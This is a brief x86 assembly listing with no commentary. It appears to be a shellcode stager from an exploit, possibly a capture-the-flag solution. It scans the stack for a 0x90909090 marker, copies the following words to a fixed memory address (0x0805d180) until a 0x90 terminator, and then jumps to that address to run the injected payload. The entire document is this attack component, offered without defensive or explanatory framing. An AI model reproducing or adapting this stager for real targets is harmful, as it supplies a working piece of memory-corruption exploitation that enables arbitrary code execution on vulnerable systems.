.globl _start
_start:
        xor %ecx, %ecx
        addw $2000, %sp
loop:
        pop %eax
        cmp $0x90909090, %eax
        jnz loop
        mov 0x0805d180, %ebx
loop2:
        mov %eax,(%ebx,%ecx)
        addb $4, %cl
        pop %eax
        cmpb $0x90, %al
        jnz loop2
done:
        call *%ebx